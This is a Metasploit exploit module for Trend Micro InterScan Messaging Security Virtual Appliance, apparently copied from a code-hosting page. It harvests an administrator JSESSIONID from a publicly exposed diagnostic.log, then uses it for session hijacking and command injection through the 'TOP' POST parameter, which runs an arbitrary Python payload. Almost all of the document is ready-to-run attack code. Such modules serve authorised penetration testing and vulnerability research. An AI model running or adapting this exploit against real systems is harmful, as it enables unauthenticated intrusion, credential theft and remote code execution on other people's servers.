139 lines
4.7 KiB
Ruby
139 lines
4.7 KiB
Ruby
##
|
||
# This module requires Metasploit: https://metasploit.com/download
|
||
# Current source: https://github.com/rapid7/metasploit-framework
|
||
##
|
||
|
||
class MetasploitModule < Msf::Exploit::Remote
|
||
Rank = ExcellentRanking
|
||
|
||
include Msf::Exploit::Remote::HttpClient
|
||
|
||
def initialize(info = {})
|
||
super(
|
||
update_info(
|
||
info,
|
||
'Name' => "Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution",
|
||
'Description' => %q{
|
||
This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a
|
||
terminal command under the context of the web server user.
|
||
|
||
The specific flaw exists within the management interface, which listens on TCP port 443 by default. Trend Micro IMSVA product
|
||
have widget feature which is implemented with PHP. Insecurely configured web server exposes diagnostic.log file, which
|
||
leads to an extraction of JSESSIONID value from administrator session. Proxy.php files under the mod TMCSS folder takes multiple parameter but the process
|
||
does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities,
|
||
unauthenticated users can execute a terminal command under the context of the web server user.
|
||
},
|
||
'License' => MSF_LICENSE,
|
||
'Author' => [
|
||
'mr_me <mr_me@offensive-security.com>', # author of command injection
|
||
'Mehmet Ince <mehmet@mehmetince.net>' # author of authentication bypass & msf module
|
||
],
|
||
'References' => [
|
||
['CVE', '2017‑7896'],
|
||
['CVE', '2017-11392'],
|
||
['CVE', '2017‑11391'],
|
||
['URL', 'https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/'],
|
||
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-17-521/'],
|
||
],
|
||
'DefaultOptions' => {
|
||
'SSL' => true,
|
||
'RPORT' => 8445
|
||
},
|
||
'Payload' => {
|
||
'Compat' =>
|
||
{
|
||
'ConnectionType' => '-bind'
|
||
},
|
||
},
|
||
'Platform' => ['python'],
|
||
'Arch' => ARCH_PYTHON,
|
||
'Targets' => [[ 'Automatic', {}]],
|
||
'Privileged' => false,
|
||
'DisclosureDate' => '2017-10-07',
|
||
'DefaultTarget' => 0,
|
||
'Notes' => {
|
||
'Reliability' => UNKNOWN_RELIABILITY,
|
||
'Stability' => UNKNOWN_STABILITY,
|
||
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
||
}
|
||
)
|
||
)
|
||
|
||
register_options(
|
||
[
|
||
OptString.new('TARGETURI', [true, 'The URI of the Trend Micro IMSVA management interface', '/'])
|
||
]
|
||
)
|
||
end
|
||
|
||
def extract_jsessionid
|
||
res = send_request_cgi({
|
||
'method' => 'GET',
|
||
'uri' => normalize_uri(target_uri.path, 'widget', 'repository', 'log', 'diagnostic.log')
|
||
})
|
||
if res && res.code == 200 && res.body.include?('JSEEEIONID')
|
||
res.body.scan(/JSEEEIONID:([A-F0-9]{32})/).flatten.last
|
||
else
|
||
nil
|
||
end
|
||
end
|
||
|
||
def widget_auth(jsessionid)
|
||
res = send_request_cgi({
|
||
'method' => 'GET',
|
||
'uri' => normalize_uri(target_uri.path, 'widget', 'index.php'),
|
||
'cookie' => "CurrentLocale=en-U=en_US; JSESSIONID=#{jsessionid}"
|
||
})
|
||
if res && res.code == 200 && res.body.include?('USER_GENERATED_WIDGET_DIR')
|
||
res.get_cookies
|
||
else
|
||
nil
|
||
end
|
||
end
|
||
|
||
def check
|
||
# If we've managed to bypass authentication, that means target is most likely vulnerable.
|
||
jsessionid = extract_jsessionid
|
||
if jsessionid.nil?
|
||
return Exploit::CheckCode::Safe
|
||
end
|
||
|
||
auth = widget_auth(jsessionid)
|
||
if auth.nil?
|
||
Exploit::CheckCode::Safe
|
||
else
|
||
Exploit::CheckCode::Appears
|
||
end
|
||
end
|
||
|
||
def exploit
|
||
print_status('Extracting JSESSIONID from publicly accessible log file')
|
||
jsessionid = extract_jsessionid
|
||
if jsessionid.nil?
|
||
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
|
||
else
|
||
print_good("Awesome. JSESSIONID value = #{jsessionid}")
|
||
end
|
||
|
||
print_status('Initiating session with widget framework')
|
||
cookies = widget_auth(jsessionid)
|
||
if cookies.nil?
|
||
fail_with(Failure::NoAccess, "Latest JSESSIONID is expired. Wait for sysadmin to login IMSVA")
|
||
else
|
||
print_good('Session with widget framework successfully initiated.')
|
||
end
|
||
|
||
print_status('Trigerring command injection vulnerability')
|
||
send_request_cgi({
|
||
'method' => 'POST',
|
||
'uri' => normalize_uri(target_uri.path, 'widget', 'proxy_controller.php'),
|
||
'cookie' => "CurrentLocale=en-US; LogonUser=root; JSESSIONID=#{jsessionid}; #{cookies}",
|
||
'vars_post' => {
|
||
'module' => 'modTMCSS',
|
||
'serverid' => '1',
|
||
'TOP' => "$(python -c \"#{payload.encoded}\")"
|
||
}
|
||
})
|
||
end
|
||
end
|